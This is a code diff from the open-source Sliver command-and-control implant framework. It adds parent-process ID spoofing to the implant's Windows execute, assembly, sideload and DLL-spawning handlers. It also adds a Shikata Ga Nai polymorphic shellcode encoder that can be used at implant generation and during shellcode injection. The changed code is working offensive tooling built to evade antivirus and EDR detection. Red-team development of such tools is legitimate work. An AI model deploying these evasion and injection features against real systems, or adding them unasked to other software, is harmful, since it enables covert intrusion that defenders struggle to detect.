Improved standalone cmd help

Add PPID spoofing + custom process arguments for fork/exec commands

client/command/alias/load.go

@@ -179,6 +179,8 @@ func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasMan
 				f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
 			}
 			f.String("p", "process", "", "Path to process to host the shared object")
+			f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
+			f.Uint("P", "ppid", 0, "parent process ID to use when creating the hosting process (Windows only)")
 			f.Bool("s", "save", false, "Save output to disk")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
@@ -272,6 +274,7 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
 
 	extArgs = strings.TrimSpace(extArgs)
 	entryPoint := aliasManifest.Entrypoint
+	processArgs := strings.Split(ctx.Flags.String("process-arguments"), " ")
 	processName := ctx.Flags.String("process")
 	if processName == "" {
 		processName, err = aliasManifest.getDefaultProcess(goos)
@@ -306,15 +309,17 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
 		con.SpinUntil(msg, ctrl)
 		executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
-			Request:   con.ActiveTarget.Request(ctx),
-			IsDLL:     isDLL,
-			Process:   processName,
-			Arguments: extArgs,
-			Assembly:  binData,
-			Arch:      ctx.Flags.String("arch"),
-			Method:    ctx.Flags.String("method"),
-			ClassName: ctx.Flags.String("class"),
-			AppDomain: ctx.Flags.String("app-domain"),
+			Request:     con.ActiveTarget.Request(ctx),
+			IsDLL:       isDLL,
+			Process:     processName,
+			Arguments:   extArgs,
+			Assembly:    binData,
+			Arch:        ctx.Flags.String("arch"),
+			Method:      ctx.Flags.String("method"),
+			ClassName:   ctx.Flags.String("class"),
+			AppDomain:   ctx.Flags.String("app-domain"),
+			ProcessArgs: processArgs,
+			PPid:        uint32(ctx.Flags.Uint("ppid")),
 		})
 		ctrl <- true
 		<-ctrl
@@ -350,6 +355,8 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			ProcessName: processName,
 			EntryPoint:  aliasManifest.Entrypoint,
 			Kill:        true,
+			ProcessArgs: processArgs,
+			PPid:        uint32(ctx.Flags.Uint("ppid")),
 		})
 		ctrl <- true
 		<-ctrl
@@ -386,6 +393,8 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			ProcessName: processName,
 			Kill:        true,
 			IsDLL:       isDLL,
+			ProcessArgs: processArgs,
+			PPid:        uint32(ctx.Flags.Uint("ppid")),
 		})
 		ctrl <- true
 		<-ctrl

client/command/commands.go

@@ -69,6 +69,7 @@ import (
 	"github.com/bishopfox/sliver/client/command/sessions"
 	"github.com/bishopfox/sliver/client/command/settings"
 	"github.com/bishopfox/sliver/client/command/shell"
+	sgn "github.com/bishopfox/sliver/client/command/shikata-ga-nai"
 	"github.com/bishopfox/sliver/client/command/socks"
 	"github.com/bishopfox/sliver/client/command/tasks"
 	"github.com/bishopfox/sliver/client/command/update"
@@ -986,6 +987,33 @@ func BindCommands(con *console.SliverConsoleClient) {
 		HelpGroup: consts.SliverHelpGroup,
 	})
 
+	// [ Shellcode Encoders ] --------------------------------------------------------------
+
+	con.App.AddCommand(&grumble.Command{
+		Name:     consts.ShikataGaNai,
+		Help:     "Polymorphic binary shellcode encoder (ノ ゜Д゜)ノ ︵ 仕方がない",
+		LongHelp: help.GetHelpFor([]string{consts.ShikataGaNai}),
+		Args: func(a *grumble.Args) {
+			a.String("shellcode", "binary shellcode file path")
+		},
+		Flags: func(f *grumble.Flags) {
+			f.String("s", "save", "", "save output to local file")
+
+			f.String("a", "arch", "amd64", "architecture of shellcode")
+			f.Int("i", "iterations", 1, "number of iterations")
+			f.String("b", "bad-chars", "", "hex encoded bad characters to avoid (e.g. 0001)")
+
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			sgn.ShikataGaNaiCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.SliverHelpGroup,
+	})
+
 	// [ Exec ] --------------------------------------------------------------
 
 	con.App.AddCommand(&grumble.Command{
@@ -1001,6 +1029,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("O", "stdout", "", "remote path to redirect STDOUT to")
 			f.String("E", "stderr", "", "remote path to redirect STDERR to")
 			f.String("n", "name", "", "name to assign loot (optional)")
+			f.Uint("P", "ppid", 0, "parent process id (optional, Windows only)")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -1034,6 +1063,8 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Bool("s", "save", false, "save output to file")
 			f.Bool("X", "loot", false, "save output as loot")
 			f.String("n", "name", "", "name to assign loot (optional)")
+			f.Uint("P", "ppid", 0, "parent process id (optional)")
+			f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -1064,6 +1095,9 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Uint("p", "pid", 0, "Pid of process to inject into (0 means injection into ourselves)")
 			f.String("n", "process", `c:\windows\system32\notepad.exe`, "Process to inject into when running in interactive mode")
 			f.Bool("i", "interactive", false, "Inject into a new process and interact with it")
+			f.Bool("S", "shikata-ga-nai", false, "encode shellcode using shikata ga nai prior to execution")
+			f.String("A", "architecture", "amd64", "architecture of the shellcode: 386, amd64 (used with --shikata-ga-nai flag)")
+			f.Int("I", "iterations", 1, "number of encoding iterations (used with --shikata-ga-nai flag)")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -1082,6 +1116,8 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Bool("X", "loot", false, "save output as loot")
 			f.String("n", "name", "", "name to assign loot (optional)")
 			f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes")
+			f.Uint("P", "ppid", 0, "parent process id (optional)")
+			f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -1110,6 +1146,8 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("n", "name", "", "name to assign loot (optional)")
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 			f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes")
+			f.Uint("P", "ppid", 0, "parent process id (optional)")
+			f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
 		},
 		Args: func(a *grumble.Args) {
 			a.String("filepath", "path the DLL file")

client/command/exec/execute-assembly.go

@@ -57,6 +57,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 
 	assemblyArgs := ctx.Args.StringList("arguments")
 	process := ctx.Flags.String("process")
+	processArgs := strings.Split(ctx.Flags.String("process-arguments"), " ")
 
 	assemblyArgsStr := strings.Join(assemblyArgs, " ")
 	assemblyArgsStr = strings.TrimSpace(assemblyArgsStr)
@@ -64,15 +65,17 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 	ctrl := make(chan bool)
 	con.SpinUntil("Executing assembly ...", ctrl)
 	execAssembly, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
-		Request:   con.ActiveTarget.Request(ctx),
-		IsDLL:     isDLL,
-		Process:   process,
-		Arguments: assemblyArgsStr,
-		Assembly:  assemblyBytes,
-		Arch:      ctx.Flags.String("arch"),
-		Method:    ctx.Flags.String("method"),
-		ClassName: ctx.Flags.String("class"),
-		AppDomain: ctx.Flags.String("app-domain"),
+		Request:     con.ActiveTarget.Request(ctx),
+		IsDLL:       isDLL,
+		Process:     process,
+		Arguments:   assemblyArgsStr,
+		Assembly:    assemblyBytes,
+		Arch:        ctx.Flags.String("arch"),
+		Method:      ctx.Flags.String("method"),
+		ClassName:   ctx.Flags.String("class"),
+		AppDomain:   ctx.Flags.String("app-domain"),
+		ProcessArgs: processArgs,
+		PPid:        uint32(ctx.Flags.Int("ppid")),
 	})
 	ctrl <- true
 	<-ctrl

client/command/exec/execute-shellcode.go

@@ -44,6 +44,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 		return
 	}
 
+	rwxPages := ctx.Flags.Bool("rwx-pages")
 	interactive := ctx.Flags.Bool("interactive")
 	if interactive && beacon != nil {
 		con.PrintErrorf("Interactive shellcode can only be executed in a session\n")
@@ -60,8 +61,37 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 		con.PrintErrorf("Cannot use both `--pid` and `--interactive`\n")
 		return
 	}
+	shikataGaNai := ctx.Flags.Bool("shikata-ga-nai")
+	if shikataGaNai {
+		if !rwxPages {
+			con.PrintErrorf("Cannot use shikata ga nai without RWX pages enabled\n")
+			return
+		}
+		arch := ctx.Flags.String("architecture")
+		if arch != "386" && arch != "amd64" {
+			con.PrintErrorf("Invalid shikata ga nai architecture (must be 386 or amd64)\n")
+			return
+		}
+		iter := ctx.Flags.Int("iterations")
+		con.PrintInfof("Encoding shellcode ...\n")
+		resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
+			Encoder:      clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
+			Architecture: arch,
+			Iterations:   uint32(iter),
+			BadChars:     []byte{},
+			Data:         shellcodeBin,
+		})
+		if err != nil {
+			con.PrintErrorf("%s\n", err.Error())
+			return
+		}
+		oldSize := len(shellcodeBin)
+		shellcodeBin = resp.GetData()
+		con.PrintInfof("Shellcode encoded in %d iterations (%d bytes -> %d bytes)\n", iter, oldSize, len(shellcodeBin))
+	}
+
 	if interactive {
-		executeInteractive(ctx, ctx.Flags.String("process"), shellcodeBin, ctx.Flags.Bool("rwx-pages"), con)
+		executeInteractive(ctx, ctx.Flags.String("process"), shellcodeBin, rwxPages, con)
 		return
 	}
 	ctrl := make(chan bool)
@@ -69,7 +99,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 	con.SpinUntil(msg, ctrl)
 	shellcodeTask, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
 		Data:     shellcodeBin,
-		RWXPages: ctx.Flags.Bool("rwx-pages"),
+		RWXPages: rwxPages,
 		Pid:      uint32(pid),
 		Request:  con.ActiveTarget.Request(ctx),
 	})

client/command/exec/execute.go

@@ -47,6 +47,7 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	stderr := ctx.Flags.String("stderr")
 	saveLoot := ctx.Flags.Bool("loot")
 	saveOutput := ctx.Flags.Bool("save")
+	ppid := ctx.Flags.Uint("ppid")
 	hostName := getHostname(session, beacon)
 
 	// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
@@ -61,14 +62,16 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 
 	ctrl := make(chan bool)
 	con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
-	if token {
-		exec, err = con.Rpc.ExecuteToken(context.Background(), &sliverpb.ExecuteTokenReq{
-			Request: con.ActiveTarget.Request(ctx),
-			Path:    cmdPath,
-			Args:    args,
-			Output:  captureOutput,
-			Stderr:  stderr,
-			Stdout:  stdout,
+	if token || ppid != 0 {
+		exec, err = con.Rpc.ExecuteWindows(context.Background(), &sliverpb.ExecuteWindowsReq{
+			Request:  con.ActiveTarget.Request(ctx),
+			Path:     cmdPath,
+			Args:     args,
+			Output:   captureOutput,
+			Stderr:   stderr,
+			Stdout:   stdout,
+			UseToken: token,
+			PPid:     uint32(ppid),
 		})
 	} else {
 		exec, err = con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{

client/command/generate/generate.go

@@ -636,12 +636,34 @@ func compile(config *clientpb.ImplantConfig, save string, con *console.SliverCon
 		return nil, errors.New("no file data")
 	}
 
+	fileData := generated.File.Data
+	if config.IsShellcode {
+		confirm := false
+		survey.AskOne(&survey.Confirm{Message: "Encode shellcode with shikata ga nai?"}, &confirm)
+		if confirm {
+			con.PrintInfof("Encoding shellcode with shikata ga nai ... ")
+			resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
+				Encoder:      clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
+				Architecture: config.GOARCH,
+				Iterations:   1,
+				BadChars:     []byte{},
+				Data:         fileData,
+			})
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+			} else {
+				con.Printf("success!\n")
+				fileData = resp.GetData()
+			}
+		}
+	}
+
 	saveTo, err := saveLocation(save, generated.File.Name)
 	if err != nil {
 		return nil, err
 	}
 
-	err = ioutil.WriteFile(saveTo, generated.File.Data, 0700)
+	err = ioutil.WriteFile(saveTo, fileData, 0700)
 	if err != nil {
 		con.PrintErrorf("Failed to write to: %s\n", saveTo)
 		return nil, err

client/command/shikata-ga-nai/sgn.go

@@ -0,0 +1,81 @@
+package sgn
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"encoding/hex"
+	"io/ioutil"
+	"path/filepath"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/desertbit/grumble"
+)
+
+// ShikataGaNaiCmd - Command wrapper for the Shikata Ga Nai shellcode encoder
+func ShikataGaNaiCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	shellcodeFile := ctx.Args.String("shellcode")
+	rawShellcode, err := ioutil.ReadFile(shellcodeFile)
+	if err != nil {
+		con.PrintErrorf("Failed to read shellcode file: %s", err)
+		return
+	}
+
+	arch := ctx.Flags.String("arch")
+	iterations := ctx.Flags.Int("iterations")
+	rawBadChars := ctx.Flags.String("bad-chars")
+	badChars, err := hex.DecodeString(rawBadChars)
+	if err != nil {
+		con.PrintErrorf("Failed to decode bad chars: %s", err)
+		return
+	}
+
+	con.PrintInfof("Encoding shellcode with %d iterations and %d bad chars\n", iterations, len(badChars))
+
+	shellcodeResp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
+		Encoder:      clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
+		Architecture: arch,
+		Iterations:   uint32(iterations),
+		BadChars:     badChars,
+		Data:         rawShellcode,
+		Request:      con.ActiveTarget.Request(ctx),
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if shellcodeResp.Response != nil && shellcodeResp.Response.Err != "" {
+		con.PrintErrorf("%s\n", shellcodeResp.Response.Err)
+		return
+	}
+
+	outputFile := ctx.Flags.String("save")
+	if outputFile == "" {
+		outputFile = filepath.Base(shellcodeFile)
+		outputFile += ".sgn"
+	}
+
+	err = ioutil.WriteFile(outputFile, shellcodeResp.Data, 0644)
+	if err != nil {
+		con.PrintErrorf("Failed to write shellcode file: %s", err)
+		return
+	}
+	con.PrintInfof("Shellcode written to %s (%d bytes)\n", outputFile, len(shellcodeResp.Data))
+}

client/constants/constants.go

@@ -236,6 +236,8 @@ const (
 	GetPrivsStr        = "getprivs"
 	PreludeOperatorStr = "prelude-operator"
 	ConnectStr         = "connect"
+
+	ShikataGaNai = "shikata-ga-nai"
 )
 
 // Groups

client/licenses/licenses.go

@@ -85,6 +85,30 @@ POSSIBILITY OF SUCH DAMAGE.
 
 ======================================================================================================
 
+MIT License
+
+Copyright (c) 2019 Ege Balcı
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+
+======================================================================================================
+
 BSD 3-Clause License
 
 Copyright (c) 2018, b4rtik

go-assets.sh

@@ -22,10 +22,10 @@ set -e
 
 GO_VER="1.18.5"
 GARBLE_VER="1.18.0"
+SGN_VER="0.0.3"
 
 GO_ARCH_1="amd64"
 GO_ARCH_2="arm64"
-GO_ARCH_3="386"
 BLOAT_FILES="AUTHORS CONTRIBUTORS PATENTS VERSION favicon.ico robots.txt SECURITY.md CONTRIBUTING.md LICENSE README.md ./doc ./test ./api ./misc"
 
 if ! [ -x "$(command -v curl)" ]; then
@@ -165,6 +165,32 @@ curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/
 echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2"
 curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2
 
+
+echo "-----------------------------------------------------------------"
+echo " Shikata ga nai (ノ ゜Д゜)ノ ︵ 仕方がない"
+echo "-----------------------------------------------------------------"
+
+# Linux (amd64)
+echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_1.zip"
+curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_1.zip
+
+# Linux (arm64)
+echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_2.zip"
+curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_2.zip
+
+# Windows (amd64)
+echo "curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_windows-$GO_ARCH_1.zip"
+curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_windows-$GO_ARCH_1.zip
+
+# MacOS (amd64)
+echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_1.zip"
+curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_1.zip
+
+# MacOS (arm64)
+echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_2.zip"
+curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_2.zip
+
+
 # end
 echo -e "clean up: $WORK_DIR"
 rm -rf $WORK_DIR

implant/sliver/evasion/evasion_windows.go

@@ -19,7 +19,6 @@ package evasion
 */
 
 import (
-	"github.com/bishopfox/sliver/implant/sliver/syscalls"
 	"golang.org/x/sys/windows"
 
 	//{{if .Config.Debug}}
@@ -27,90 +26,9 @@ import (
 	//{{end}}
 	"debug/pe"
 	"io/ioutil"
-	"os/exec"
 	"unsafe"
 )
 
-func SpoofParent(ppid uint32, prog string, args string) (*windows.ProcessInformation, error) {
-	parentHandle, err := windows.OpenProcess(windows.PROCESS_CREATE_PROCESS, false, ppid)
-	if err != nil {
-		//{{if .Config.Debug}}
-		log.Printf("OpenProcess failed: %v\n", err)
-		//{{end}}
-		return nil, err
-	}
-	var procThreadAttributeSize uintptr
-	if err = syscalls.InitializeProcThreadAttributeList(nil, 1, 0, &procThreadAttributeSize); err != nil && err != windows.E_NOT_SUFFICIENT_BUFFER {
-		//{{if .Config.Debug}}
-		log.Printf("InitializeProcThreadAttributeList - first call failed: %v\n", err)
-		//{{end}}
-		return nil, err
-	}
-	procHeap, err := syscalls.GetProcessHeap()
-	if err != nil {
-		//{{if .Config.Debug}}
-		log.Printf("GetProcessHeap failed: %v\n", err)
-		//{{end}}
-		return nil, err
-	}
-	attributeList, err := syscalls.HeapAlloc(procHeap, 0, procThreadAttributeSize)
-	if err != nil {
-		//{{if .Config.Debug}}
-		log.Printf("HeapAlloc failed: %v\n", err)
-		//{{end}}
-		return nil, err
-	}
-	defer syscalls.HeapFree(procHeap, 0, attributeList)
-	var startupInfo syscalls.StartupInfoEx
-	startupInfo.AttributeList = (*syscalls.PROC_THREAD_ATTRIBUTE_LIST)(unsafe.Pointer(attributeList))
-	if err = syscalls.InitializeProcThreadAttributeList(startupInfo.AttributeList, 1, 0, &procThreadAttributeSize); err != nil {
-		//{{if .Config.Debug}}
-		log.Printf("InitializeProcThreadAttributeList - second call failed: %v\n", err)
-		//{{end}}
-		return nil, err
-	}
-
-	defer syscalls.DeleteProcThreadAttributeList(startupInfo.AttributeList)
-	uintParentHandle := uintptr(parentHandle)
-	if err = syscalls.UpdateProcThreadAttribute(startupInfo.AttributeList, 0, syscalls.PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &uintParentHandle, unsafe.Sizeof(parentHandle), 0, nil); err != nil {
-		//{{if .Config.Debug}}
-		log.Printf("UpdateProcThreadAttribute failed: %v\n", err)
-		//{{end}}
-		return nil, err
-	}
-
-	// get program path as a UTF string
-	programPath, err := exec.LookPath(prog)
-	if err != nil {
-		//{{if .Config.Debug}}
-		log.Printf("LookPath failed: %v\n", err)
-		//{{end}}
-		return nil, err
-	}
-	utfProgramPath, err := windows.UTF16PtrFromString(programPath)
-	if err != nil {
-		//{{if .Config.Debug}}
-		log.Printf("UTF16PtrFromString failed: %v\n", err)
-		//{{end}}
-		return nil, err
-	}
-
-	// start a process of the specified program name, spoofing the parent
-	var procInfo windows.ProcessInformation
-	startupInfo.Cb = uint32(unsafe.Sizeof(startupInfo))
-	startupInfo.Flags |= windows.STARTF_USESHOWWINDOW
-	startupInfo.ShowWindow = windows.SW_HIDE
-	// creationFlags := windows.CREATE_SUSPENDED | windows.CREATE_NO_WINDOW | windows.EXTENDED_STARTUPINFO_PRESENT
-	creationFlags := windows.CREATE_NO_WINDOW | windows.EXTENDED_STARTUPINFO_PRESENT
-	if err = syscalls.CreateProcess(utfProgramPath, nil, nil, nil, true, uint32(creationFlags), nil, nil, &startupInfo, &procInfo); err != nil {
-		//{{if .Config.Debug}}
-		log.Printf("CreateProcess failed: %v\n", err)
-		//{{end}}
-		return nil, err
-	}
-	return &procInfo, nil
-}
-
 // RefreshPE reloads a DLL from disk into the current process
 // in an attempt to erase AV or EDR hooks placed at runtime.
 func RefreshPE(name string) error {

implant/sliver/handlers/handlers_windows.go

@@ -36,6 +36,7 @@ import (
 	"github.com/bishopfox/sliver/implant/sliver/priv"
 	"github.com/bishopfox/sliver/implant/sliver/registry"
 	"github.com/bishopfox/sliver/implant/sliver/service"
+	"github.com/bishopfox/sliver/implant/sliver/spoof"
 	"github.com/bishopfox/sliver/implant/sliver/taskrunner"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -63,7 +64,7 @@ var (
 		sliverpb.MsgEnvReq:                   getEnvHandler,
 		sliverpb.MsgSetEnvReq:                setEnvHandler,
 		sliverpb.MsgUnsetEnvReq:              unsetEnvHandler,
-		sliverpb.MsgExecuteTokenReq:          executeTokenHandler,
+		sliverpb.MsgExecuteWindowsReq:        executeWindowsHandler,
 		sliverpb.MsgGetPrivsReq:              getPrivsHandler,
 		sliverpb.MsgCurrentTokenOwnerReq:     currentTokenOwnerHandler,
 
@@ -225,7 +226,7 @@ func executeAssemblyHandler(data []byte, resp RPCResponse) {
 		// {{end}}
 		return
 	}
-	output, err := taskrunner.ExecuteAssembly(execReq.Data, execReq.Process)
+	output, err := taskrunner.ExecuteAssembly(execReq.Data, execReq.Process, execReq.ProcessArgs, execReq.PPid)
 	execAsm := &sliverpb.ExecuteAssembly{Output: []byte(output)}
 	if err != nil {
 		execAsm.Response = &commonpb.Response{
@@ -237,7 +238,7 @@ func executeAssemblyHandler(data []byte, resp RPCResponse) {
 
 }
 
-func executeTokenHandler(data []byte, resp RPCResponse) {
+func executeWindowsHandler(data []byte, resp RPCResponse) {
 	var (
 		err       error
 		stdErr    io.Writer
@@ -245,7 +246,7 @@ func executeTokenHandler(data []byte, resp RPCResponse) {
 		errWriter *bufio.Writer
 		outWriter *bufio.Writer
 	)
-	execReq := &sliverpb.ExecuteReq{}
+	execReq := &sliverpb.ExecuteWindowsReq{}
 	err = proto.Unmarshal(data, execReq)
 	if err != nil {
 		// {{if .Config.Debug}}
@@ -258,8 +259,17 @@ func executeTokenHandler(data []byte, resp RPCResponse) {
 	cmd := exec.Command(execReq.Path, execReq.Args...)
 
 	// Execute with current token
-	cmd.SysProcAttr = &windows.SysProcAttr{
-		Token: syscall.Token(priv.CurrentToken),
+	cmd.SysProcAttr = &syscall.SysProcAttr{}
+	if execReq.UseToken {
+		cmd.SysProcAttr.Token = syscall.Token(priv.CurrentToken)
+	}
+	if execReq.PPid != 0 {
+		err := spoof.SpoofParent(execReq.PPid, cmd)
+		if err != nil {
+			// {{if .Config.Debug}}
+			log.Printf("could not spoof parent PID: %v\n", err)
+			// {{end}}
+		}
 	}
 
 	if execReq.Output {
@@ -374,7 +384,7 @@ func spawnDllHandler(data []byte, resp RPCResponse) {
 	//{{if .Config.Debug}}
 	log.Printf("ProcName: %s\tOffset:%x\tArgs:%s\n", spawnReq.GetProcessName(), spawnReq.GetOffset(), spawnReq.GetArgs())
 	//{{end}}
-	result, err := taskrunner.SpawnDll(spawnReq.GetProcessName(), spawnReq.GetData(), spawnReq.GetOffset(), spawnReq.GetArgs(), spawnReq.Kill)
+	result, err := taskrunner.SpawnDll(spawnReq.GetProcessName(), spawnReq.GetProcessArgs(), spawnReq.GetPPid(), spawnReq.GetData(), spawnReq.GetOffset(), spawnReq.GetArgs(), spawnReq.Kill)
 	spawnResp := &sliverpb.SpawnDll{Result: result}
 	if err != nil {
 		spawnResp.Response = &commonpb.Response{

implant/sliver/handlers/rpc-handlers.go

@@ -121,7 +121,7 @@ func sideloadHandler(data []byte, resp RPCResponse) {
 	if err != nil {
 		return
 	}
-	result, err := taskrunner.Sideload(sideloadReq.GetProcessName(), sideloadReq.GetData(), sideloadReq.GetArgs(), sideloadReq.Kill)
+	result, err := taskrunner.Sideload(sideloadReq.GetProcessName(), sideloadReq.GetProcessArgs(), sideloadReq.GetPPid(), sideloadReq.GetData(), sideloadReq.GetArgs(), sideloadReq.Kill)
 	errStr := ""
 	if err != nil {
 		errStr = err.Error()

implant/sliver/pivots/pivots.go

@@ -458,8 +458,13 @@ func (p *NetConnPivot) write(message []byte) error {
 	}
 
 	total := 0
+	chunk := 1024
 	for total < len(message) {
-		n, err = p.conn.Write(message[total:])
+		if total+chunk <= len(message) {
+			n, err = p.conn.Write(message[total : total+chunk])
+		} else {
+			n, err = p.conn.Write(message[total:])
+		}
 		total += n
 		if err != nil {
 			// {{if .Config.Debug}}
@@ -468,6 +473,7 @@ func (p *NetConnPivot) write(message []byte) error {
 			return err
 		}
 	}
+
 	return nil
 }
 

implant/sliver/spoof/spoof.go

@@ -0,0 +1 @@
+package spoof

implant/sliver/spoof/spoof_windows.go

@@ -0,0 +1,28 @@
+//go:build windows
+// +build windows
+
+package spoof
+
+import (
+	"golang.org/x/sys/windows"
+	"os/exec"
+	"syscall"
+	// {{if .Config.Debug}}
+	"log"
+	// {{end}}
+)
+
+func SpoofParent(ppid uint32, cmd *exec.Cmd) error {
+	parentHandle, err := windows.OpenProcess(windows.PROCESS_CREATE_PROCESS|windows.PROCESS_DUP_HANDLE|windows.PROCESS_QUERY_INFORMATION, false, ppid)
+	if err != nil {
+		//{{if .Config.Debug}}
+		log.Printf("OpenProcess failed: %v\n", err)
+		//{{end}}
+		return err
+	}
+	if cmd.SysProcAttr == nil {
+		cmd.SysProcAttr = &windows.SysProcAttr{}
+	}
+	cmd.SysProcAttr.ParentProcess = syscall.Handle(parentHandle)
+	return nil
+}

implant/sliver/taskrunner/task_darwin.go

